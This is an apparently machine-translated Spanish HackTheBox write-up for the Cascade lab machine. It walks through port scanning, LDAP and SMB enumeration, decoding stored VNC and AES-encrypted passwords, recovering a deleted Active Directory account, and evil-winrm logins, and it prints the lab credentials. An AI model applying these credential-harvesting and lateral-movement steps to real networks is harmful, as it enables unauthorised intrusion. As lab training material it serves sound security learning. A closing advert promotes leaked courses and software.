HackTheBox. Paseo en cascada. Objetos remotos LDAP y Active Directory



Sigo publicando soluciones enviadas para finalización de máquinas desde la plataforma HackTheBox .



En este artículo, profundizaremos en LDAP, decodificaremos la contraseña VNC, descompilaremos aplicaciones dotNet, descifraremos fácilmente AES y recuperaremos objetos eliminados de Active Directory.



La conexión al laboratorio se realiza mediante VPN. Se recomienda no conectarse desde una computadora de trabajo o desde un host donde haya datos importantes para usted, ya que se encuentra en una red privada con personas que saben algo sobre seguridad de la información.



Información organizacional
, , Telegram . , , .



. , - , .



Recon



Esta máquina tiene una dirección IP de 10.10.10.182, que agrego a / etc / hosts.



10.10.10.182	cascade.htb


El primer paso es escanear los puertos abiertos. Dado que se necesita mucho tiempo para escanear todos los puertos con nmap, primero lo haré usando masscan. Escaneamos todos los puertos TCP y UDP desde la interfaz tun0 a 500 paquetes por segundo.



masscan -e tun0 -p1-65535,U:1-65535 10.10.10.182      --rate=500






Muchos puertos están abiertos en el host. Ahora escaneémoslos con nmap para filtrar y seleccionar los que necesitamos.



nmap cascade.htb -p49172,49157,49154,135,53,5985,636,389,139,49155,445,3269,3268,49158,88






Ahora, para obtener información más detallada sobre los servicios que se ejecutan en los puertos, ejecute un escaneo con la opción -A.



nmap -A cascade.htb -p49172,49157,49154,135,53,5985,636,389,139,49155,445,3269,3268,49158,88






Como de costumbre, lo primero que debe hacer es comenzar enumerando el SMB: enum4linux.



enum4linux -a cascade.htb










Nos guardamos una lista de usuarios y su pertenencia a grupos. Veamos lo que LDAP tiene para ofrecer.



Punto de entrada



Usamos JXplorer para trabajar con LDAP. Conectemos y veamos todos los objetos.







Y del usuario Ryan Thompson encontramos el atributo cascadeLegacyPwd.







Decodificamos base64 y obtenemos la contraseña.







USUARIO



Una vez que hayamos encontrado las credenciales, veamos los recursos de SMB disponibles para nosotros usando CrackMapExec.



cme smb cascade.htb -u "r.thompson" -p "rY4n5eva" --shares






Conectémonos al recurso de datos.



smbclient -U r.thompson //10.10.10.182/Data






Repasemos todo de forma recursiva.







Ahora descarguemos y veamos estos archivos.



get "IT\Email Archives\Meeting_Notes_June_2018.html"
get "IT\Logs\Ark AD Recycle Bin\ArkAdRecycleBin.log"
get IT\Logs\DCs\dcdiag.log
get "IT\Temp\s.smith\VNC Install.reg"


En el primer archivo, hablan sobre la transferencia de red y que la contraseña de TempAdmin es la misma que la contraseña de administrador normal.







Desde el segundo archivo, anotemos los derechos del usuario ArkSvc.







No hay nada interesante en el tercer archivo. Pero en el cuarto encontramos la contraseña de VNC para el usuario de s.smith.







Lo decodificamos con vncpasswd . Indicamos que queremos decodificar la contraseña (-d) y pasarla en formato hexadecimal.



vncpasswd.py -d -H 6bcf2a4b6e5aca0f






Si miramos la salida de enum4linux, podemos ver que este usuario es miembro de los grupos de usuarios de administración remota. Intentemos iniciar sesión a través del servicio winrm con esta contraseña.



evil-winrm -i cascade.htb -u s.smith -p sT333ve2






USUARIO 2



Veamos los recursos SMB de este usuario:



cme smb cascade.htb  -u s.smith -p sT333ve2 --shares






Auditoría $ recurso disponible.



smbclient -U s.smith //10.10.10.182/Audit$






Descarguemos todo lo que hay.







Hay una base de datos entre los archivos descargados, al abrirla puede ingresar las credenciales en la tabla LDAP.







Pero no caben en ningún lado, aparentemente la contraseña está encriptada, pero desencriptada usando el programa. En este caso, hay CascCrypto.dll. Además, tanto el programa como la biblioteca están escritos en C #.







Descompilemos el programa usando dnSpy. Encontramos el lugar donde se lee la contraseña de la base de datos y se transfiere a la función de descifrado. La clave también se transfiere allí.







Habiendo descompilado la biblioteca, descubrimos el modo de cifrado y el vector de inicialización.







Por lo tanto, tenemos los siguientes parámetros:







Ahora necesitamos descifrar. Hagámoslo en el sitio web de CyberChef .







Y obtenemos la contraseña. Como se desprende de enum4linux, este usuario pertenece a los grupos Usuarios de administración remota y Papelera de reciclaje AD. Como puede recordar, este usuario era necesario para transferir objetos. Y el usuario de TempAdmin tiene la misma contraseña que el administrador. Pero ha sido eliminado.



Echemos un vistazo a los objetos remotos.



Get-ADObject -IncludeDeletedObjects -Filter {IsDeleted -eq $True}






Y encontramos el objeto que estábamos buscando. Consigamos sus atributos.



Get-ADObject -Filter {SamAccountName -eq 'TempAdmin'} -IncludeDeletedObjects -Properties *






Y decodificamos la contraseña.







Conectemos a WinRM y tomemos la bandera.



evil-winrm -i cascade.htb -u Administrator -p baCT3r1aN00dles






Puedes unirte a nosotros en Telegram . Allí puede encontrar materiales interesantes, cursos filtrados y software. Reunamos una comunidad en la que haya personas con experiencia en muchas áreas de TI, entonces siempre podremos ayudarnos mutuamente en cualquier tema de TI y seguridad de la información.



All Articles